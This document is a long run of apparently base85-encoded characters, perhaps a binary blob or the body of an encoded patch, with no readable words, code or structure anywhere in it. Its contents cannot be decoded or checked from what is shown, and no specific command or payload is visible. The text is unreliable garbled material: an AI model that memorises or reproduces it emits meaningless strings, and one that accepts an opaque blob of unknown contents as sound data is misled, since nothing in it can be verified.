zi56Rw7M5>=$FdzGBtHeo^G@r-@D&|Mo_9up84k*&j6Cl=fYe+kW02vkNCWEAF?rKM4xwhXf}%QiqG|521pq3X%@F&OZ8Qd zJn~H76Eyz#$n!%)#6$1FQyTx|Y3H#HKJl+lJA+km;PxAVaJ4K=-pFwA-uDN*|CObd z4XzXycNqyWBg4=*%CJ$?XpdiNfn1_@r3&J_PMYDE&|+&^Jft+a$1FC0WF3%LG+f*n z7i|(d&0>4t+lj?fD_N8!D&8h`sYQG>MT_%!QNNyLk5X)ka+%CF;X$O)fVFqyawVEXa? zv3vb2e1?;J0Skltc^|8z>T4)6H1e7&D1K0tTa=G zi$^4+9MXuMHB;{czd=lW5H%&^{b`{o)Yv#Vf?OUp-wDKJ`C*=zbc1go&b{g84j{0;*CK#)u9quo~r z=;(0ys%pTyN!sjNnymGe+B_1n9n7ZTa41=b&S;UTGiz`tCwoV& z>OKoIG}=6^v@mNYqehwNyO^p4eFmVj~zlirc&i2Et7Nbl%?L`#tLj?2JY1d`ri z2Jq8+H5Kh0OX)0o$6dhR0dlpEQrO$b5@)S-<7@|){94C1_KqL_36Uy6kL4eGhgN3a zu#l@+$kR)cBUngwhDTv@K7D0pFkFUi>D?*#bNdWLqYjp`$FnHVJ1(I$%_=q;BjZ130k3s0Xmds{j%8SYRNg{ z@-z%FSQ-gSGPS!95@SFzwVMp)DkeC!yB*9-kRLgAhcWt@F*>(2xs@u|*p>ja03XeY05$vc(`Nr{Mx;T(q3a%w{Lx z4;PzV^r@**IXS(%N^LsVgf=fJE&TIa_{`~DKgjk3$@K0DFyoova`t>M_keOKBh$MN zk@^56)4SbZc7SBGG6O-xly3}N&K^o*9IfgffoDgMOU_r1IK7*MY;?`&^zH@CmQQTw z`F#JqO*p~B)F`!9VKTwnf+tk|af0_wL`1d{Nb#Y9e=@csb;)mFT32S? zH2u(uZpa3b>QJ|W8=S6wq_8Y^Dc#sn7F<3gX*m4O3pkDo zqlse>Rs!<`6(;y(#6Jsyj0@bResS7oV0UO*apifFe}Oc&dHM*F>p`-;&OS#W{-9jK zWSggUNVVZrc6L*f3^_4}f4FsU$Dg2u+dOpx{%DZwXfy=OV35Sr6y)rsz+yTQ&=DZS zls{AZP#wpw&6TU7CV6W1O|-~Y(i0$Y8AzrFH-ovJ2~H0dfms0Z+dMTa_Hn?TpNs>x zdCFrPxXsgB0KEp1ZJu_6`396rm~8V@)CCO%B-=c-19LD)g3>NP;pJ%mp9`iirizI8$Ijxf;+bK{}{SDz#D=SI2^aZJyqtMYf+?Au$~!9m>wVRdAE1C2(L7NZRLfU{-tGH6zLR~e zIncyvkCg|(uNtHep?V!iI+@|J-8SGDnD^-u15>>#S_8->FW0g%FyA6uW02@y&%0&; zqj@dK(cl4MPSB&6akQBl&fjbBo7UC|NV48QtzM(EoE^sPRs{de`PHe_m2mN%tyLflG5 z4BH9kv;T-6mKTJms2{uFM?U>ILxAw#K7yr@d zjDhI+Ac@XBp<7w_Tq~@t8<2l3NZc|^;4&Ny0S~vzsh4ie1^#}JOI%aQE#Fu9b>HKm zTZJ$e+rK<`-rQOa(Ip^p>&eiq{iANZh5WT3amz4)%WxUD9yhnP1HTP~Py8ZoX_(fA z{|Ije~2AQ8g;?MffpYBnAsvm*)v!F+VQw7;(bgbw>+8_1^P_I{MSd@kxMi5YWw=b3J~X#R0DmsX zr9O?grD56=`ZJ0CG%63q{i$J^0GUfc;!n2TRSdS~ z1OFJvrGDGnpAxl$-Qwv_3FZJg|$UF-Yf9i(*JQ4M0C-T1li9d!3T!zc|^Sk+z z*9|YNKrWFg$G`Z~u|Ss@{RaZiX&!z-PsbiEt+LG<2mFdFRh;Suq@qOJ{>*#c(#5+nC@x|J7ig0?F%F zQ;ecu1mha|+i*`O`Q6m&c3eVp^gmrqE!Vf6Top`pI>b8`SpXcUQutbqDqqB7Fn#3^ zyBTIb0ZEt*hYz<@B0AI#p$x12H{gE(xl|uDEJMD`#m)}}jq~*cvoDp_*a#Jw$$qjs ziVTuDn8D-DI1{uvSQ=1&uDs0K=Y)l7%0j(Tn(V$u3v~dH^+8f7!(lqF645SyC}miv zj=*;Sxy0~Dq1ffaXZw#-9((lA;+oRrDzn%dlE;}v!v!wG`ND84o@W*>0DiPsyrrT= zd82_|%?0XxYFRVuMVs%I7M_DMaHW||f$SuZZ)VJvX0`yA9so%*dmqetCfLk=2lFFH znwcrah(g6^W^JHYn^`NhdOR*kGs7Y@wt8>seUWCi;ZUE5G_#{s3X4xv`Ce)AJ^IRK zR(33^86-7gxNK)!w3)q18P>?bz&8is0M#bmR;HPqtfm5IoVAwN`=vEH#!wPY`DLo# z89F+Gq?s8!zL%givl9S49)t?u)MQFns2f?Rjit#Y&@P1<3e+heDU{(d647Qhn=&la zCBR=y?TKr2OtI+-o0)W>*O@@)4IB<6zT*={+QrA+YI?o}`^f_$i+4nuV>L-jH0pDI}Y+W`6; zB%v}~wll6m{Zoda`V06!s62IyHaw|+sg<3fsU&oWX}Z2dhc8?vzg#}FAoo21Ine0 ztoNpSUQ6tWSb=z8xs z&BmBH)92dTT{&gZpRahOf@HP#)q{Olx!SwtUq$luo+hili`#jT@Cmf?N6gdIK;V92 z*uKVRUvX_5*P;|xvh;l4Ww?0AMVID#QihFV0q_sA^oh|2dCS^mqc1P#hc*-ZDfl<| z{>yBxg6vAOX}GvEF4`bpG@I`Ozd>wXQ_-eOKxLR%r55APxUlZNFRgM!B05ZLgQ~3{ z872&#+)L1giJt)7P3!)#^ewf7T}73vuBKu?l%_9+C3!3jjz-)G==ShQGLmcN_Q zoK>C-$$lVNX&wt^G$@xaS!uo*sp~<~BTWsqrVSPPxN)UbJ`DUk5N6)3y8wD-;Nkv076?ew@3WM2BWyw)6o0%}JfsR)|GFlisxtE}g79Rlm9?kmE zqODrOrmV_^qebVkf(KbZE@FKNi7zN6{dJc@@zF8vxUoKEL2(t0#IFGH)Lx0b;S$cc zXe6>I!`SDafQL(vOI#U=1n=izf33P7J?7u>w0KHc{{57er$9*71WA8w2c{J$moVwC zeULfj;|8^eZLDS)32axn|LDac5jK z+@mSOa6bq9Dq2jl@zhY6%ZI%2~gRjVLRqod;*x@ODAsYf4GOyKjHWLxXF{UuaJ%3#JjsPX9MR{{czt z4VQ4nnR3Q{JY^V(bT2%kf?VR`NF>- zRd5QRCxf&K2CF4}1s~eS_OYoIjdkM@V8QVqE<(**a8w(!I3JDFRN+s<+5P1S$qhR_nSq-;Zq%z zh*rTU%FyB};GYqTT`O6XHxTUN{X+RYwD?L{@T*yT3zBQiqT%8Z2_HZb!CWqjic$8$rA1^9t~?A5Zooz>wlUpW2=$)7;-s;6OZe0B=TB}`s89*@*pB;AGA*a{$!9ma9;>!3`p9LDM;<5z}nDNfL;MY8{!McJJoS)k*!>w zn&b<|J+#Odjyw)>8b}^W9{_VN6MQIr5zK0kf8qFv-u7|C3*&$nj$;@HzHs~;pie>a z!toC`RXCRHgUWi8zzWwzMPEpO*G9| zw*$Tn$fZt;#2P@EKLkyD{NaRhUImQaS5ojUm2m#h4GNAHB}e9Z0XZCHek756Mibe6 z5syM&Yp9{*Hoe{h*K6r@1TFc8UgrTNhxqF}%4I}VZ4nLd7E9q5xq{}8!KD@j9r$1K zg6{I4OHEcVy-D7o2|6$(lyu3L^g125C*r`Tdi|IF&ONW!Wv4Q~SioO9znm8-?faUL z6KuYXY7G1u_{Z4bJe&Sy0XH<)L|DYzs`)4CL$xk)$93s9BO8z<4$twyn{%x<|-_x2y zFOq3r^9-atI&If{DQ2p=S3_%u0sJr4<|>RK?dx^=rKx1?8eRdTF;a364SpDz?58>O zraR$sG|ToAf$kxJ0h^;ZkF=xVFbr`P&thON7VjJ9frnC-N;G z?N;jYMfUXHCM1HAu=l4r=~JzgwwEU4@SzJeL0hf8gtqG2B00UHIjMF!vleZ~YC^P~ zuL)|K9F<8Nz|^=!sqNTO>7pm`|8y{{Z%d!CgUp&ObR*sgW*Dw5RXiP@k@P=~1L_0?F}9D~l^0zw~sm95OJsA6_Se zWV8Qgiet)SxZOEa~S19vc7ioI7{ za4sy$=|H_;=2%cJbL4cONl2X!lAYO2G9i+BI?x-)eFcO+Ieux5s>j#HRKKw}uWD_m z=kZIs0Q(9gryJ!A#B>iNryKET-}azf%E;+PXCiefNKQAJ24*Tqjvp%0Fx1z0$?;1| zkh>6+sHeIAe*DtT(7`k4;AS|8`Vt3UgNBzu;^0;=pE1GXm-0?VdjaKAMjUK{RDF;* z*c;68AUS@?4B&ec8o=>OZ!iKpe(5}5&H?2zM*@5WQkQ@vz$O_NNe%Ek~X@qcKsB&#JlCdv~tGv%x@bIBGq3sQj9KW;)%qL9n zFrsh4e8U6}B?=Qfoak>{{SzdI6r~4Y83-hY6g33X0Flg#zq2?YRBasYNb(nJQW8G{GO}8bH5j@; z@&s$hz-2fu!zb7iD8nb%0^sv0ml&%?qN@doE_yLMe#y=SLQ9tQc8Opc4QJqtt7iVy zE{VShTbT&fgR$BmiC_mXZE0PKIYQOo8+GNv*NTUf1jn(Za8YCc1p0xbn1;le#i0|K zVz#CXi+L9C!)YjSqr#%aOzzN%|MA(F8wMH77kOfcspNwQraE{RGaf4N$N6NcpY-PN z*#ncQn^g_*FN>Q0A(QHz6uZo7OKL(3qr(=T@kjxZz z7Rij|vf){-6R6rrlbrk7UkmVvB}XrP` zem@V(o*+4T={t|R{(LL~jli|*fcw5kW;PFx#)~kJ9KG~IQEp=tb}P~!^4i_N?e??KppQfKduiu_d&U#4G-&}|#mEz>Ido;}>lTIv7uD{o(W!iadaUe${ zO)C!iD6X*Uv3PB{Kju0-8mTZX`>tPqDfS%$6^=t@XJpEr(Zy-mcl|MB%m>Nh)Zz2J z`h+7i28guzw~)UUByHX>DQ8@C>ADHjOPk*g{5BA_)qK<|wKng+2j=kw_0(L<^{2VQ zbj@=p&P_~zf#^>ZmrYC?D=^EQMPN}nxs*T-jB#{|0F=ud8Rbfls?Mt%CEI{G1f-jo zwp2xdGp-7<_!mo~uvB;g(8p7po0tv-a|#pGbp@EqK?v+r7(1&WCZx}op`OyZ@A~%> zKU^`wd>iNAfXog9x0|liOUH}gwN&ai5ZwWiN;Mp|5e*|mCElc?3{7TV zhL1x*E^+NYRBCdJ%5rbePLRQjZ^Dz3t@Y%qUK^D7w%lyD_yfIJe9V6CDcr!D!F|Xsu0Sf zToo$BU#xdJIg>(cmeV0{Gf0}{{b254g3a;;FsnfR@UMMUN#KkNUy`4wEqoKepHP}D z{0A_*n4qeH%W*#jp@ok<+PPItw1p3>)WVzH??ZrdC;^KNO2;QRhM#QVjUc`sNa8_n-=}(o7PrvikaYZP#7Qh(56NrH zqTx^um54U1K9pf09{~P7u{f(zH)g|1Hda}7lo^m=pVF;)eP_w^slgf~?Niy)*XW7c zzVn3#5V*pd&>LDe)m}B;_o^r0!(ve39Aut(p!TW>zE^#WjQ2oNtD}}#uOc)Ch!p-m z$o~Z-;WkXl85a$AFQ}KoSD%1;KFB3T;_ONOSq(GXzE^cub2vFzxv*D_PuHAHRlH-= zg_?b-N_y3a3dP3r%7wk^vUKum3b9u;hrmG~=?a~}bYOyAVJMhWK)zQERwaQmF6>p8 zYp=Q-;PI4}&9A}Szywt-2J;vQy{akZKL<9`UUhY)UN!sy>s9>$i%m(#KSmu%uUZ4~ zmp~H#x#|pBIB;RF`W*S6fuvU%CgH{sgC_nmb+N&rHMnm12unvq{LeUJF{vL1NvI*)GF*k6HK^%=&@AHx}y;RkF?ommI1Wr3;~+B6qOLz3pBN z-v91xr{Pnw2b*heTbq{i@;btYwxGfbk@+4h$vy1NbPi|DXCUKLkks~iz1_sz6hLEu zNa!ac{|b;4-Z1#_k)oraUk&vV`n!R@3xw}YpQ_l~WX2%(u=_)E#)Z9YZMt?YiXpx2 zQK)%@s-(9qP$B#tSGiE=jdacc3bD664S}aX(na0?vxW(Fk#E540QugwOqB%AxUjda zL-DC9H3^FYAW>BgrkDw;It)x(5PI9wX!^e#ti5eRx}eouOc5~^ky+Yv4_a^A$lmsT zI(cjh_{n?N0EqVlN&M^Sz=VCJqrGi9@~;C)Z!=87{j9yMC3Ug6F9&8R$R&=dIKs*B z3@_zN6>}!x;@#lP2kGRqRKPy=3WQ$(Nktnj<&29~^n5eA3HVRM=wCcP5`Wgm!n@e} zT6{d$(c;E*vKb;J7Qch!*Jjah*uWx`5REdZlu?GoOkROdfL!AHN)~w+lQRCO^4PnN z7C%lW?=y=fkSqjA84ZUoXH_Cv#v9CHbKnmWi@8r!EF&9p@>!K-_k05~?8$tYhPkNk z$(f_!%Cus_o{Sf;0>ns(N$VjtX~hH$_qzvMq9^m@%botd*%>}`pzqvPb(Iz#b0_7@ z_t?&K&0`=cFWmF5J}qn{?jo6ym1#XF*^%NH(><7|d8usTbf}=$%Fb9MD!1K8(37m1^z>|&Q zQ&n$(PoOkaodISj6I3-B%vB%^Jjw28fvt7msZw0vPo>m>r$E;LVy+=zvAp8so2Vlh zctxf^O|oob1#J;v9nBhv++I(r~FzB3k85C_|Iq0{@Me99QX4F&u)LYap;RN{a=> z$;Zv&9!UOS77d5#no2}1-fb3(ufp%qK`t@Bl0_L1_EA~(@=qbN*MJbtj}z@RNa27` zaUva#9IkLXK7)P&6)gioonl#TX$T)0fMh@z`-t^zZdc}G3DZ~MxCj@$cWIz}UW)LXVNrnA@aHrb$1H#{Mw^>^q5Zd?wVJw8s z1r=69FF&=74hV<&0pVd}JOGjgxoeRP2=zE103xkp4f0v z1HTF666gKvfbeW+&bV+uXj5E!232uD_zr4zQI!k`uc#1SpD7m(2yKgVwo-___-_dO z36fr%e>Hv)3zA;k3``S{9}wPFCD?UNxo|*ervt*V0C%G_2ZX_31~S0`VFH-TKo}6- z?BZO>VLBjmt~4Oz=%QZCeFs?V$l~N@s3RE=ZiDzOAc=o79i4DY2XNtlun74JK@xw% zB%E>40pT_3W$#=C{4*e&7@|t|9uUl}gv;p)w~i`K_G$-l4hU~Sbgh{*T*?_2t@8Gi zp~>yQZ}TQAbXsCg}w4N4^E>6B^7Jq}}PiE0@*)GE&%J^d=d(13Wn~Yzlfw198 zC5tj3B-9#v`L~eyF9X7X8l?X{Ago6ZdleNe1HwsuK&T5JYJp@x_*ozFoiom&6+5Z8 z<~b0R0iiAMt?9cA2vx!X!MJch=wF=o6ooh-90P%_AQ=$)f$0lMRjV){ltl*wnFzn5 ztNl31{U}6zYH={QJrr^xJR9<-gQWRw3~?t!o8R0i*j5H4&Cf7_GtNrKnmLAg*%qDw zekBOauhN=_Jcx)}->Nz6waH#_eR1%!xwQ_WuYts^A49h;jJmZQ`CCEamSF;y;W7>8 zGjnSX@PC1Do2=xPzfE#;hNP~vxSash7KC7YS-Y&79?&}Rb0%?in`Sp`TK*! zEyDyZ!)4sMh)h7iB_G^tw-qAjm1Iz!_}=5A=(opZtWMk^-R>Q z5y(FqByJf7n-?oOT8VkoOSdKie-+3jj;Z7pJGB3vd2Oh`IA1=vcxZ9XjZl^Ofxryt zx&6i-Y6?Y*T|@kgGzo%dgVAc7#fPmEHvSMj-hB`v@?dK;pQGCH7Kaj`sqz zCrIyD7lw`-7v8b(Rr*X? zY-l+XBvmpA%mk2BiHQY!DX=QJ8PFR+n6=kYYy3j}2k7Qq0o|;2SG^ubG)AREmZhI{UTNczfivi#%6=0eJ%vE0OY?=KUd}c=?nF9wXN6}>c0PT z_C7^(@EHTEy?b#y_Xw?)HBh}0Br6q$!=4quu_`{LPppcZsqhEnl1D|BzJJ#8!c<~b zrB!&Emu;|aSL@iqm)3h?CQs}9KE5S1HUr7`@ywO)<9p#s50HExKN8HjAQ_+*gx%qN zsB0t-`PJ0c1 zw!7?K1U}FeTlvxMFPaFuS>(6=GUz>~>hV)#<-$eiamB%)E?Qv^p)_+D1rBo1%2 zcY%Lftbbj}I`7+J-RWluXt~NY_mzpAZi|EdUA636pk=dJHzb;<%0#UnNg0;?2jIUG z>-7|7WtRb;ztd`^8F-PaTzE%po~}QSns`TaH{f^W(Bz-tkjMkc9kDK$S|H!)$EXr4 zud(ePna)4xXsBSP?+DOgAm8bko$2%@hDIJL&=!qOUj-_((_f?6`{EKiJ=^A?`m`A7 z^tUPuJ&0~}Ne6T220Q%#xX>3QZOCxgqI7Pms}W1-*1 znWk9RbbjtJ(aF~&sG0zh8>YcAB35?cKUJk4-wf!DwC6mL^?_+1-A)jb`or3!}XQ-D4MNvI5mU0_rqIzB!@8HVa- z;D4m@#P^j##c91v`+isXxHC@MJMKW~~B3qBF}%Rw$N{}F$KwQ+qE^Pm>Gys;Q{XYtcM?lj4 zp9b?36KwzMz`O?X!*5CW{?j;oUMGLC3)8^|RL8J=1%d4#37a9aopI5yy+9d;?Kj|m zp`k?cO7B0zuvtdj8K=fwY+O3o`M7ACZ|BcR{<9Z5U9ef~0JQ3!HIbyF;I! zLK&8AJn)xLdtybU)qI&gaOm%-7F~q%rHkF4E{Go=E!$M6x)vm5GeK-@7OL=qR<=6; zy`9#5CmXIXyql^d5SyDW7+Jy6e26_{mJFV~m!MgC642#hN!}k`A6mMdQG6&J{~X#S zife#+2_#W8T(-+_S_DM#4azWzn}Od%?TH$dK7$COxJ)hLXM~l@_ISGB*q+fSeg{>% zKoUiRC-xGwvi%L{pS13y_73@hqL!|J*hI5r@PsqY1g(;%0eX{Ik|nC@`f+c}9mW^n zpQiJh^+80qL^ThnyFs!z@ClfAK)Hm;5>?JL96$n++nTAt7FVj!>~e|fD>y9cAtk`4 zL9!mw3`|pA;7e)~ON5*$FvkxEv^@wR;)J|o=(us=?F~y*ZF<8ZC*(aKaV$t~Z-c=M zWJ2DAfVmXpm#F^G{uXnmGY(jydh$f5;1bn60L=o)64moyo(AO-CQDRbAhii3OH?`2 zv)mpeBq;gXkYdg_Yk6EG`kO9tk*FnPT7V=d-N76KlAxFvs=Lygdke|{K>L9Z6t1{T z3@sWLJ|ALH>@t>!H|et=F&rfQ!;nEJZCkBfmHOG}A6D)kQzP02tna*1jN zWH{-gVnw%9bZUW4ANq#z8@s3JBGs@}P?arFjYj?mkQBl&IC)VE(S_z%i0gp42INxDMG65w zr6Io?`e__%hJUd=>73P2k{S4BLCb9*X}|_gIODt+LZ}aI^8kI2hW(0p&+t2h;e7pG zqd0$6f4IouXcbV)K++I?1oIUrmoOQQ>fDN7(SXEZQiBAaUHp5_>5y$NK_$B1ng$%RX zrDK(hfR=MXQYBY|xe_E*Vq$?a&J1$clM==+spHF8w9NiCNb3oEQmw;IW^25>g|FU9!fwmPJj`)=0=QKBI4pt#p z?S;kh_5-w9-hk>=AnD15!+|BhaX88+j#ZI26Bv+7&WJ2FAAoF)L1O*Ct(f1d*0C8a zt(O)jzo1qQN3Ef;B}j%N=E`u?7gu_LWH`D2%t(+7M@z%*kbf*x*>H3t@~;C)Aq<1P zV}W5IHdrAZ1m*#dOFbMZ1f#?i^DU|z`x#Jq)pY*If$)=y2Twrgagc0gw;s$Jpj^Ua zGrOHgeF>7~VN-*J>QEtT0xGeXFoY_(Je++SmR3M66|b;>CId~j{<;J(<-7*yC`czi zgpSO}SOZE5K+>8Gp4dy!T5~->>(H*>@2yDn$DDE2{A1PA1^b)~Z@Jl63rIAhl+5lH zXWYX#0I>$?yu85xayUH(pu<7ZkS_;w0Vp>cFd0rCL25ooN@;3v4o~G$VmN)3w%K=| z0{%&m^xgGf-ULZ$O$_JoR8nB2{S44gK{}j%8kW|$DjHaBi`Wq|HlqxGt38s8J4lDaa+>Q6n~4k=fmPEh}etV<2P0 z=`VVHieBSzx?D%T$Z*;$98Qgk&hCDt6C6$(!-0k%X`gMuvpFRX6ESPXW;Ij^~ULV%TuA1!|7^hd>SOfDRX5w{S;R|1j%sv2bf<$GMv^@RWY}K zs%$tdx&tE$ND5(?z<*bbLe!@@7NRLIO+YTyC{hSEt9>zKEY@KSA0#MeO(fQ;xW-vj z!jYvt6ttrf5qeI)K8iWxLLpaN<8Bi=76RQuq3<+Q;gT)wq>JayL{0{1u+oDG39K{6DK19K4*915m_nF8{TH`BX4hDqf@A1+B3oJ4gj z?L!clOQHC7Z2mP~KUa#m*Z7qo79|#s0PuHYtp;c*D3>|MCKlnR>v{O+JER&7!%x@u zLE=~B{{RZgktn+p>y4o7Df>a4&bG1As@(ooxKlcm*B=Ta4+7R1_>Q3bSx7W}9RKhq z1Bq``Mn3_o@Efcu1y@Yczlq_;;@MLXj}766TgDZc%@aE`98H_E0qYHW$J6F~BofB>_fa4ijS!fMDU=Y`m<52Xxy#2vujPD6<%syaH} zB}_}W!$XR{1ChVxZBe!%DrEa$F~daNAOfMyRC(| zsT!Y9&8^5f0GRrqT;>G#;7UiN4g;kRU=^qXIU#2wNL75r+8T(yfSw4#Ut)=(yCcX} z4wu~;?mVG6nEWYMO)3iB9NnSXFQ>zsZh)N*MW=y+laRO=%xETtA#od+8K8JOxM(`! z?j)9HORC1%)X*JS4*@e5QU8RrO;E)dFle1eSt=hDf{w<^_?fs#5-U0eu^U;=i(2@!1J4s)GhJHJ0txhA|jUue)@p7MqRBJ0ZLol>J^#1{3AH z%dzuwa(bQthqnQio{icCx#kZ;!@H`uo)+$Lz=B7Ru^%AyK~0w-5lr7PA-P$h&zy*n z8Zci=@|%?%6Y!dIuM)ub7a{zIW?+z}?-%A&jlGAcVkqd?%}7Xq z%!#-=m`>ElDcop&=RE|wpcn(x986=728yvwXe*7mZWJxf$tyowi+m!GJxuf>Fr%1Y zjBf{XE67{#_N+D8Aylz{PK}dH#ZrJ4Qi|3;0rNg6V*SEU^iqm8%&BpQiS7aNcN1+m z55WM5^=@FgfV}n9p^AH`qGnEw4W{A@fKH_ptxpAWH7H_zODMXGqP25s6rZDIe-OwA zOmrofWlXT_AAormTE7F#Opv#3DypL4K}Cz48XHZ;N`RJ8iq^jdvyBO=D0~>7;(;ov zC~_rK(K4q-IomJ$)}a731Br^^V1_V36*q&q9^~@ag!Wr)F=$2=hvwACr?`kM2I>(L zdmGF;is2@36xwcUZF`M*1%FS&a?@_e2&PY)nCz~(U*W=?$lYfE|8k4GeVS@c3r~aV+H8dwU#Kt8P9I#hnV+SMY2*D7YPo|A6@g)O;=y zH>j0{Dz+9P!Gp-C{s?|_0g{)EhKhyw@MYtM_9gvjhBLIrz&8Z><3y*cYAi4+SKoZw z*xvu-=rDj=(+Fp4hRSf!F9M#S5l%yU0pF8GQp;2=r=bYgBu$>G0pql-VLwFp1XSHU zc=ibTBXK%J2ZNGZ6g~y;a^xb$Rk&p@cU!1gAKQs$X%}K8_3(g7m4vOEbaRIOS>y1y zTT3NaWusN1Qne+UC}u1$*M%6DsHRS903uCyTNt>p)F#yVbi@7iuqQA0U1d zi@D``o!@JptY3LiQ}RPiaHHIh1k^`PHlL>7@(8G^e&9jS9tEM3rM}YZ+W;{!7kNTvjsabk~ks6y435D>#2qh`q4vN=%LRk&F@1jJ}bKDbb9vk&Jtz88agpE20@MM>5`y zW^9XO?2Kj<=|TVJ4F6vN_tfkke<@pFWxjK^ZQ6wWZMBgsU2E8LRL2)-G zQ}|S&E{6!Jt|o}uKZJiDPenBK6r)vf`(@Pw$ z4_XwrKIF=-I}me$7mNHZ#ZN)l?^66?(K+1pqx$c-nId}<6Mkdjm;8=-eq-X7{dRPI zW8zo+{&Id};x&E)I=?aTYd%MIh}%>Y>|c838RxqXifm)zuaeH4=Uq5qupeg9dcTa# zKHyT_nE1S+LGuW@7I^NZx8gTV{%2nLdkiO(;RjfuZN z`VCMHi*vI+6LqG02xzSOb_@q(hDc!;LC z3Gu^4!Fr8KU2a0WJd-Y5eSmXwF2bWBHzB^Zs2YP6OrJ9`_j6?A9ExYEsYS90@r|%H z8Pp;*)T?g8c?SNbkHrr|xe4*?qO#|awG^Nwpu_)bDuhPh&sj{WcD9W3TaL69N9ROWR3l#xAtpG0aANcQ;M z0_G!-Y{ENMtD*@_;!idq&RvWEk*?HS+k|(5vs)~nspB<-x?Am1cvj_x&Tw;Kk?vOe zN_c6dUW#*DORMjsYrs-HQIyy75|rv_WHo@<+Mrk;Bzk~37L-d^FcepYBQ*#VoR7pz zFgG(X9*I?8o?zlyB)$i;gNd0)G+Kg|2x@gd5-)3s!Px6V<~ zz!_J~3jJnLd@5{Z3cVA?z64334 zA@Q4n&Ya7n9YGdh=vk>DJ)vd`9FiWo%Bjc`u3O}2r_MvK_|qF_5z{`YN@JHodPAlVSQCzu|fL^bs_TvT_LhW0a~ zhq&>=HI~yq)*>s0!Q~0Pg4V!ZpGWl0U!ekgm&)-SGs?-?N1paaStbG@ED z)492RSNzv80OIeNTJj&>gOoq5d(6(QK9qaRjz&Sw0LdP+bF1IXJ!U^b`Vn5^9MCPWgqtG{g-0} zbQx|!bw=RDf?=@#EccaNP+j(wjX#y;UR?pqL|l8+Fgqs5p0W#ly8cRhlL(ybDf^he z_9?DC36ec!7x`-sK8@c_gL39U*W&83A8nUsFouG14m}0G)%DlLBR!VaI^o*mUiNjQ zXY<;zxVF?^Tl6eG_5kIaglo(EwR2bDS4E(lp}4l(>syQTtGsp|u02s*_O0E9^yi>z z7vtKKUY4)Cs$Gfn3QPYsq1uf|KV|7j6RTZwv~w#heeJ|*YX)Pz!qU?wR(lueXDmHy z;^~`^e%7bu=Dy1NGv;^3Ai23e=W!>#g#GPa)V*|Hs~)V?79=yB zE=57zD>3j~Q5fIyk#AXbA06jh)1vs`4VwM{jrf3~_)VKMz35WsJ}%6e@R_EUj&bhq z!kl+M)%58mKELoRJa%3_L3dNxR9!ZI>G}$O3l1v06qySz z*WFY;uP%G-o`;O#AbAn>^ZQ;6)lBx96e0+-=@ci|XyJJici`~dLx zfw1!bp;u~S)C8hsU$>V-bH?R(P52VCdd)3V#obgMhnmGyCHJH^RS2J#C>P$7KC7N= zfwIf{;O8N*8YK6ocfh>K1m6em2J{&6wSKU7*G{#&y1Kf$x{jFY3eg!j zSKgOtfuASaZYp1v+U~mxChJZJXTIw5dJ)&e`kh#&SgQFLMY7kpEim@lT} zwlotnGk~6QFUiXi)5*R2Ug_P>M}D5VpJ`&=y`1vYsdiA_R=vD5X zb83v~O2fSu9ckk>Yr1nA|H|tAzqj!(c<38&iM8=DQ5&yI3^hRcRtl$HY;F9!sEv20 zpd-*6KmUnu<02X$qLn|9^5cM3-piz&r*bQQ2IjT$7a%_#xMbVUBcr*MkNWia<}Pra zire^@vO155DQV+ZVCFJ0rEPqfDY53zsJKr*w=9*Q?%FWtpl~D5hIuE%5@Doaz6|j^ zh}!srW+Zf;ire^DYvZ3Iyh*gBjcU8x^ota!%dR?_Jk34{i$EjtB_1@!?Xg=yadO3CsG>zP*^@8{KF7j`y z$2WKKDBWjjnv==k@cqe98-%hz}6abk};79shuyS1%K~`p8I%S7K6Ad;l{0 z12$0F@x02^EIF3@#dEQX4<*O1l-2)L)aCl=f@&vG*WV&|)dZOZ6Tw%@3OiFTy=D$W zs2?bh5^e1#!W{#&wNHb%2-ubLt{DoQr{b&kH7Y1~hg*=IBkFSHEQh#57`bv@g?JHg zt~hT0}dvXgpdJ4>x+6fb69uElV1CdEqfUpkOLl7%~wUl9Ih~E)1Djt^nW-aA4q+bzrX(=B;d?<{xls_T10n$8; zCb02JYbk&2)Kac~+h1e1NJ|OIGp!NTOxAs!8z9i@%*%!DKIG&&t0!{OIyxb95OB$> zEzY?A)YhS$*$VT+BZK(KFV8IVehx#o570B_8(H+LEZRJF$j=8lO& zNobAo`YS|Tdaid+T`TI^9``XpPNc+Dv%GMd2ugeWH$tC)0x8ip^b6egK-*CDH(1^U ztUXqmq0o6MZjZI7tQg!6>83z!b%JOwjI_t&Acg_jV>_HBud()6zkJ7@>)trp!zJ2= z<(aoQBbv#HsE-GlNiWABFb)gj{7KtTx(1V4qbeNe5W#&y*J%9o!(eqgcZg-&P^B{<}z}iM5GZZ>c#do!1 zsGzisfk+=A>e5%80x?_|X&aY9Oa-)!N}Szzt+kDl%B$~iSG)1wQReurK%yN{Uih6v zD?_j)sLu!5HoP1QPfa5&4TC?)o;&Wtq;R%GN zKHo?89q-f2<-01X%4Z+Z5ue{9|E>BQvZGJEBc?7fZ_*woqZ8dK<9^FmCvJ}~$=&yW zG1jyhOY2|ZENh$hM{V;j9R2~yw@`(CGp%ht6t&IlTkIAoQTM)Tfbt zQq-lTz6tTFFw#=Lhu8vWsm*xQ>vo;B)W>&fspU4AnCH676X8?kg*S3eG?ztdncoDO zOE1S-G}Fj^SePn0(rOwazZY=H0ruRLd(CS*?G$?)Bp#nFFDxK9_1G587T%+m%#3eh099U?z9w9X3EP^e*rvfAkK&T`aq07H5;EGF zNI&+fZ(@1QQ#H+C@P27{$n}=K>4b9$&=ck*^JAUd8+Z%RkrQ?U^49|%<9C{;lV>gc zxXl+NoTuX2tS?R7kEN>b8W&^gcAy`%dGXXPivFXv2NAtryhon=RAJ~m6?^)ww7B-{ zTu-Y}d)9mM;)z`py{EN^z8QIv4~Z69W!VePsCa~cr_=GI7wji!Yy^6JeGl=iFminb zZ?n1=CVBvVBtAhirJejx8g391(%;uZur|<>;^p|Zz%+8Nq8CL+PD&f(TLG7RX{U)L zedLz!Uh`~ni4Tv(<6lfN-+;EX%wA~r08z`7;;NSE)mVlQ8;Ei&Ewc+ItYy});(;8B z#u|L{YO_>1n`Z50V!T0;FkD%>0j#T^t*!c>!(>uxY(1_LeJfo+`Ez7j$h|zCrBBEpj~?9|FDNzJ}N=j9hVlKx_rB z`S-+if=%+)HzW0>raw?na~ycqf0flCiD zFJ4+7g-YixS+7+V?sqfBraV=7~N->QkpI%-mx2*%PTffc6<)j{Y!?Es9C%_Oq{Bd*s`S^<=M|>LzzE&EOo< z=Nn7$xL;X#q4(Ga%|pCLFUR|kfABa$bR?T6AwOI_j^C-5itm{#ZH|%)!>Bl$XP2cu 